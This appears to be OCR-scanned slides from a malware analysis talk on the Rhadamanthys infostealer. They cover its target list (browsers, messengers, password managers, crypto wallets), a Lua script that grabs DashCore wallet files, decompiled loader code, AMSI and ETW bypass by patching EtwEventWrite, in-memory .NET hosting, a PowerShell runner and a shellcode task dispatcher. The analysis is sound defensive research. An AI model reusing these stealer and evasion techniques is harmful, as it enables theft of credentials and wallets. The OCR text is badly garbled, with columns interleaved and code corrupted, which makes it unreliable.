runnlng processes 21 FaBa dd offset 'u"tablvf_'_s‘tvza1_|r|'.:rz:i.llg_stc:hr‘age_an::I_his‘tc:hr'yr

dd offset wvtable collect_ system_info

< M - 20 1EGBBC dd offset wvtable msie cookies
iy seglfd: Ba1EAB1A dd offset vtable fowmmail stealer
segled : BA1EABL4 dd offset wvtable steal openwpn
fai seg@ed : BA1ERBLS dd offset wvtable filezilla recent_servers
seg@id : BA1EABLC dd offset vtable wincp_ stealer
seghid : BA1EAB20 dd offset vtable telegram_stealer
seghid: BA1EAB24 dd offset vtable discord stealer
seg@ed: BAL1EGB2S dd offset vtable stickynote stealer
R seg@ed: BAL1EeB2C dd offset vtable stream_stealer
sepg@Bd : BA1EAB3A dd offset wvtable core ftp stealer
sepg@ad : BB1EBE34, dd offset wvtable keepass hax — — -
sep@Bd : BA1EAB3E dd offset wtable_ teamviewer spy
seglid: Ba1ERB3C aiign 1an



The LUA runner

\ . /
\\ Each ID represents a type

of a target

local file count = 0

if not framework.flag exist ("W"

return

end

/
/
o |Type
local filenames = {
framework.parse path([ [#AppData%\DashCorel\wallets\wallet.dat]]) ., - /
framework.parse path ([ [$LOCALAppData%\DashCore\wallets\wallet.dat]]) .
s } e-mails e
for , filename in ipairs(filenames) do
if filename ~= nil and framework.file exist(filename) then -
if file count > 0 then
break - note-keeping apps
end
Wmessenges

framework.add file("DashCore/wallet.dat", filename)

file count = file count + 1
- I/
end
o if £ile count > 0 then authentication related, password managers, etc.
framework. set_commit ("!CP:DashCore™)
Plesima— end :
e Example: DashCore wallet e

—_— S = g stealer -« - ' —




The LUA runner

A . | S

™Ne Tt can run up to 100 LUA scripts — of which we
found 59 to be implemented

do

{
snprintf(script_name, 8xBeui64, "/extension/¥@8x.xs", ext_id);
kcript_data = fetch_from_package(package_data, script_name, &data_size);
if ( !script_data )
break;
lua_buf = (scripts_info *)calloc(luif4, data_size + @x48);
buf = lua_buf;
if ( lua_buf )

|
|

.

Fetching LUA scripts

name_buf = &lua_buf->nInfo;
name_len = snprintf(lua_buf->nInfo.name_buffer, 8x1@uisd, "¥B8x.xs", ext_id);
buf->module_name = (char *)name_buf;
buf-xname_len = name_len;
buf-:module_size = data_size;
_buf = &name_buf->data;
_script data = (char *)script_data;
buf-»module_buf = (BYTE *)_buf;
copy_mem_obf((char *)_buf, _script data, data_size);
prev = scripts_infol->prev;
buf-»prev = scripts_infol->prev;
N prev-next = (modules_infe *)buf;
buf-:next = (modules_info *)scripts_infol;
scripts_infol->prev = (modules_info *)buf;

s ¥
o else
_script data = (char *)script_data;
I}
free(_script_data); T AR
+Hrext_id; LIatitees

while ( ext id < 1ee );

‘:ttk;\\y — 4";;:::;,,—' e - — -




( The LUA runner and the 59
scripts

\ | | a _

= |

-
IR ccon o bows  Fame e [reexe
R T R T N
o’
P P |oumeeonm  |oum |Rovorom [saepay [§
B et Somwaler | Thesat | Toenpooker | Toacommamser | Tor B

BEESR all observed LUA stealers

4




.NET and PowerShell support

“Nealthough the core components are native code,
Rhadamanthys puts a lot of emphasis on .NET and
PowerShell

‘\\\\ There are few different components that allow
to run .NET and PowerShell plugins




.NET and PowerShell support

- \ 1/,' -

A . . [

\<3'Bypasses AMSI and Event tracing via patching
the responsible functions

Hex patch at the
\ '.r?::,::,\_'_' :?i RR¥, RRXE EtwEwventWrite; ! beginning Of the
function makes it
exit immediately,

B Disasm: text General DS Hdr Rich Hdr File Hdr Optional Hdr Section Hdrs wports les0 /

Tags of [C:/Users/tester/Desktop/pro... —

8 File e
i R- D Comment returning a desired <
:_ 4f1a0 1 EtwEventWrite;d status /’

N

- f— P —— T ————— / T — - —



i Integration of .NET and native

modules
\ | | a _

"NeThe whole .NET environment is manually created ,
within the native Rhadamanthys module &

int _ stdcall init_dotMET(int runtimeHost) booL _ stdcall to CLRCreatelInstance_init_runtimeHost(int version, int runtimeHost, HMODULE hModule)

{ '
{ fo4ooet - - BOOL v3; // edi /
ME TNSENESS /1 Eo HMODULE (_ stdcall *ProcAddress)(int, int, LPVOID); // eax

N\

oy 25
HMODULE mscoree; // eax int runtimeInfo; // [esp+4h] [ebp-8h] BYREF 1
HMODULE _mscoree; // ebx int metaHost; // [esp+8h] [ebp-4h] BYREF
int is_2_@; // [esp+Ch] [ebp-4h]
v3 = 8;
instance = 8; metabost = @;

mscoree = LoadlLibraryl(mscoree d11); runtimeInfo = @;
yil( — ) ProcAddress = GetProcAddress(hModule, aClrcreateinsta);
_M5COree = MSCOree;

- if ( ProcAddress
\ Ef ( mscaree ) && ProcAddress(dword_1848F@, dword_18418@, &metaHost) »= @ /

&% (*(*metaHost + 12))(metaHost, wversion, IID_ICLRRuntimeInfo, &runtimeInfo) »= @

is_2 @ = CheckForSpecificCLRVersionInternal(aV2@5@6727, mscoree);
if ( CheckForSpecificCLRVersionInternal(av4e3e319, mscoree) ) && (*(*runtimeInfo + 4@))(runtimeInfo, &hModule) >= @
[ 2& hModule )

instance = to_(LRCreateInstance_init runtimeHost(aV4838319, runtimeHost, _mscoree);

if ( !instance &% iz 2 @ )

return to_CLRCreateInstance_init runtimeHost(av2e58727, runtimeHost, _mscoree);

}

else

{ .

e instance = @; if ( metaHost )
if (is_ 2@ )

return to_CorBindToRuntimeEx(av2e58727, _mscoree, runtimeHost);

v3 = (*(*runtimeInfo + 36))(runtimeInfo, &CLSID CLRRuntimeHost, &IID ICLRRuntimeHost, runtimeHost) >= @;

/

(*(*metaHost + 8))(metaHost);
metaHost = @;

. 1 }
b BooL _ stdcall to CorBindToRuntimeEx(int version, HMODULE hModule if ( runtimeInfo )
h { (*(*runtimeInfo + 8))(runtimeInfo);
return instance; int v3; // esi return v3;
b FARPROC CorBindToRuntimeEx; // eax ¥
v3 = 85

CorBindToRuntimeEx = GetProcAddress(hModule, aCorbindtorunti_@);
if ( CorBindToRuntimeEx )
o return (CorBindToRuntimeEx)(version, aWks, 5, &CLSID CLRRuntimeHost, &IID ICLRRuntimeHost, spRuntimeHost) »>= @;

return v3;



Integration of .NET and native
modules

Stubmod may be |nJeCted Into // Token: x86600007 RID: 7 RVA: 0x00002384 File Offset: 6x60000504
public static void DllMain(string GEg)
. . i
dlffe rent processes- It IS Used tO long value = long.Parse(arg, NumberStyles.AllowHexSpecifier);
. source = new (value);
run I.e. the Kee PaSS Stealer i" ( : == 8) checking pointer size: 8 for 64-bit, 4 for 32-b
byte[] array = new byte[18];
C’eaté.‘#utexl-.l(ﬁ-iﬁfl, @, Buffer); 'CCP'JI"(S‘:'“FCE: array, @, 16); )
if { !1*({_BYTE *)al + 20) & !CoInitializeEx(@i64, @) ) NativePtr = new { .ToIntéd(array, @));
.MativeData = new ( .ToInte4(array, B));
ProcessHeap = GetProcessHeap(); b
v6 = HeapAlloc(ProcessHeap, Bu, 4uib4); else
if (w6 ) i
byte[] array2 = new byte[B];
vi9 = vB; .Copy(source, array2, @, 8);
callback_ptr = (__int&4)communicate_over_pipe; .NativePtr = new { .ToInt32(array2, @));
*wE& = *((_DWORD *)al + 4); .MativeData = new ( LToInt32(array2, 4));
\ init_mscoree_and_run_d11( ¥
(OLECHAR *)al + 12, .FnsendData = (SyscallSend) .GetDelegateForFunctionPointer( .NativePtr, typeof(SyscallSend});
(OLECHAR *)al + *((unsigned _ intle *)al + 11) + 12, .KeepAlive( .FnsendData};
(__int64)va, .KcpDump();
*((unsigned int *}al + 3}, 1
&callback_ptr);
¥ .
} Token: @5 RID: 5 RVA: @x@e002050 set: @x@ee80250
private static bool KcpDumpSendData(Dictionary ing, byte[]> keyValues)
Stream stream = new MemoryStream(};
- s . foreach ( <string, byte[]> keyValuePair in keyValues)
S memset(v28, @, 51Ae0f(v28)), <
memset(v3a, @, exlsuisd); byte[] bytes = Encoding. .GetBytes(keyValuePair. ¥
Vector = SafeArrayCreateVector(8xCu, 8, 1lu); byte[] bytes2 = .GetBytes( .ToUInt32(bytes. s
if ( Vector stream.Write(bytes2, @, bytes2. ¥ '
P—— ( ) stream.Write(bytes, @, bytes. ) H lnt CdeCl
B - A byte[] bytes3 = .GetBytes( .TolInt32(keyValuePair. - iV H - -
rglndices = @; T .
wsprintfW(dllArg, aP, callback_ptr); . il 0 By ); . . to—read_wrlte_to_Plpe (
- - te(keyValuePair. s B, keyValuePair. - ] .
Laiaons } int seed,
byte[] array = new byte[stream. 1:
v = 8; stream. Seek(@L, SeekOrigin.Begin); DWORD numberOfoteSTOWrite,
St v27 = SysAllocString(dllArg); SiErEE e G G SE ) KERSRMLOQ:
safeArrayPutElement(Vector, &gIndices, &pv); 2 rerurn -Fnsendbatal WSS 3, array, array. )3 BYTE *data,

int data size

|nte| Seed is a number required to recreate the pipe name




The simplest PowerShell runner

y 4

Runtime X

using System;

using System.Globalization;

using System.Runtime.InteropServices;

The simplest version, replaced in
0.5.0 by much more complex

f/ Token: @x82P880818 RID: 16
internal class Runtime

{

8 /! Token: B RID: 59 RVA: @xB@e82768 File Offset: @xPOBOO963
:] private st

i; Main(string[] BrEs)
10 {

}; if (args. == 2}

Runtime.dll

~1 @

GRRRE
bEaeE
C

B8
ati

13 long value = long.Parse(args[@], NumberStyles.All
14 long value2 = lcng.Pa’se('args[l]J NumberStyles.A
15 intPtr = new (value);

16 intPtr2 = new (value2);

17 .KeepAlive(intPtr);

18 .KeepAlive(intPtr2);

19 SyscallRuntime runtime = (SyscallRuntime) .GetDelegateForFunctionPointer (intPtr, typeof(SyscallRuntime});
SysNativeWrapper sysNativeMWrapper = SysNativeWrapper.CreateInstance(runtime, intPtr2);

while {!sysNativeWrapper.IsEOF()})

string script = sysNativeWrapper.GetScript();
if (script. > 8)
i

PowerShell powerShell = new PowerShell();
sysNativeWrapper.ps = powerShell;
powerShell. exe(script);
powerShell.close();
byte[] data = powerShell.dump();
sysNativeWrapper.SendDumpData(data);

¥

if (!sysNativeWrapper.MoveNext())

{

return;




( The plugin system: runtime.dll

| | | >-
N . £

~)*Since the release 0.5.0, there 1s a .NET module
supporting the plugins with their own API

17. Plug-ins and loader modules support secondary development
and provide SDK support. 714 @ edited 21:35

October 24, 2023

The author announced SDK . Rhadamanthys FAQ
support, and provided .
B documentation on his 94.3 KB

CSharp_Extension_Manual.pdf

channel Script_Manual.pdf

759 KB

o




The plugin system: runtime.dll

N Y B | - 4
~\ * The new .NET module supports the plugins with
their own API

4 @ Runtime (1.0.0.0)
4 2 Runtime.dIl
= PE
b =B Type References Runtme.d”: the

4 »B References
b =8 mscorlib @23000001

AppD in. .AssemblyResolv = Runtime.CurrentDomain_ AssemblyResolve;
b =B System.Management.Automation @23000002 manager Of .NET t[fp e R T RumhmethTenenen fsser e e

P

if (!(CallType == "powershell™))
{

if (CallType == “"plugins")
{

if (payload != null &% payload. > @)
{

4q)- .
I ‘ls. <Module> @02000001 I u ins Assembly assembly = Assembly.load(payload);
b %%, CallWrapper @02000007 p g i" (assembly != null)
b 0 ExtPlugin @02000015
. object obj = null;
F |
43 Runtime @02000016 Type[] types = assembly.GetTypes();
b Bl Base Type and Interfaces foreach (Type type in types)
b Ml Derived Types I
@  Runtime() : void @06000056 Type type;
(i) CoreMain(long, long, string) : void @06000055 if (type.GetInterface("ExtPlugin®) != null)
@y CurrentDomain_AssemblyResolve(object, ResolvebventArgs) : Assembly @06000054 { .
b @ RuntimeDispatcher @02000002 obj = assembly.CreateInstance(type.
b SyscalDebugPrint @02000005 ; HPEEL
b @  SyscallFileSend @02000003

¥
b i SyscallGetFileData @02000006 L obg = o) T .
b @ SyscallGetPayload @02000004 : h pl g
- 4 {} ExtensionApi Type type = obj.GetType(); e u InS a re

b #g EmbeddedZipFS @0200000D MethodInfo method = type.GetMethod("Main"); .
b +0 IStream @02000008 f (s o= el . N ET assem bl es
f : 2 Etg’f\rc:?‘.’EE@EEDéDDDZDD%DDDQ method. Invoke(obj, null}); .
— gArchiveEntry
4 {} psmufmme ’ } ’ fO”OWIﬂg the API

b #% AddDataAsFileCommand @02000010 ¥
—————— b #¢ AddFileAsFileCommand @0200000F

b #¢ AddOutputAsFileCommand @0200000E

b # GetVersionCommand @02000011 e
f T, g b %, GlobalShared @02000013 ¥ S er e n s e ATANN |
b ™%, PowerShell @02000014 ¥

e

catch (Exception)
i
¥
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vet another plugln runner:

taskcore.bin

14. The task module has been greatly upgraded, and a new plug-in

module has been introduced to support users in secondary

development of their own plug-ins.

Supports multiple task execution modes:

Normal execution

In Memory LoadPE Execution
Powershell Execution

DotNet Reflection Execution
DotNet Extension Execution
DotNet Extension with Zip Execution
VbScript Execution

JScript Execution

X86 shellcode execution

X64 shellcode execution
Native Plugin Loader

e R e vened ,,,...,..——‘«\ = /

. , /“
* One more addition of 0.5.0 was introduction of




The native plugin runner:

\Saskcore.bin , , |
~ * The module 1s implemented as XS (native Intel
code) o st o om0

DWORD tls indexl; // eax
DWORD tls_index; // eax

if ( stc )

tls_indexl = TlsAlloc();
set_tls_index(tls_indexl);
alloc_tls_buffer();

switch ( stc->cmd_id )

case lu:
sub_18CE91(stc-»unk2, stc->hMapping);
break;
[T E
run_functions_from_custom(stc-»unk2, stc->hMapping);
case 3u:
to_parse_scripts_and_pluginsl(stc->unk2, stc->hMapping);
break;
case 4u:
to_parse_scripts_and_plugins2(stc->unk2, stc->hMapping);
break;
case 5u:
run_dotnetl(stc->unk2, stc->hMapping);
break;
case bu:
to_parse_scripts_and_plugins3(stc->unk2, stc->hMapping);

= dispatcher of commands

sub_18D434(stc-»unk2, stc->hMapping);

break; H 1
with particular types
run_shellcode_from mapping(stc->unk2, stc->*hMapping);
case 9u:
run_dumpper_window(stc->unk2, stc->hMapping);
ey — break;
default:
break;

The central function within
taskcore.bin works as

/

e }
free_tls storage();
tls_index = get tls_index();

—_— \ TlsFree(tls_index); e — i

ExitProcess(@);




 The native plugin runner:
taskcore.bin

~ * Running of the scripts (JScript, WScript,

PowerShell) is implemented via COM interface
TActiveScript) mmmaeey

if ( inst >= 8 )
{

inst = CoCreateInstance(kcript_type, @, 3u, &IActiveScript, (LPVOID *)&activeScript);
if ( inst »=@ )

inst = activeScript->1pVtbl->QueryInterface(
activeScript,
(const IID *const)IActiveScriptParse32,
(void **)&script_parser);

if ( inst »=8 )

inst = script_parser->lpVtbl->InitNew(script_parser);
if ( inst »= @ )

v26[3] = (ITypeLib *)activeScript;
inst = activeScript->1pVtbl-»SetScriptSite(activescript, (IActiveScriptSite *)&w24);
if ( inst >= @ )
i
v5 = activeScript->1pvibl;
wscript = (const OLECHAR *)decode_wstring(&enc_WScript);
v7? = SysAllocString(wscript);

073 TR s w2 29 The name “Rhadamanthys”

if ( inst »>= 8 )

- is used as an identifier
rhadam = (const OLECHAR *)decode_wstring(&enc_Rhadamathys);

1 v18 = SysAllocString(rhadam);
e inst = vB->AddNamedItem(activeScript, vie, 2);
if ( inst >= @ )

clear_tls_buffer();
inst = script_parser->1pVtbl->ParseScriptText(script_parser, Block, @, 8, 8, @, @, @, @, @);
if ( inst >= 8 )

inst = activeScript->1pVtbl->SetScriptState(activeScript, SCRIPTSTATE_CONNECTED);

}

A ¥

¥

script_parser->1p¥tbl->Release(script_parser);

L
activeScript->1pvtbl->Close(activescript);
activeScript->1pvtbl->Release(activeScript);
—— —_— } — - —_— - S—
L :




i ™
~ Conclusions
—~ * Rhadamanthys 1s complex, and keeps evolving -

we still didn’t cover it fully £

>
S * Understanding the design helps reaching out %%fé

|

~\\ii parts that interest us the most

~_tLAs\ed8y to SSg@losit, 1n—detallig: try to//start —
wlith some concrete questions to answer -
/
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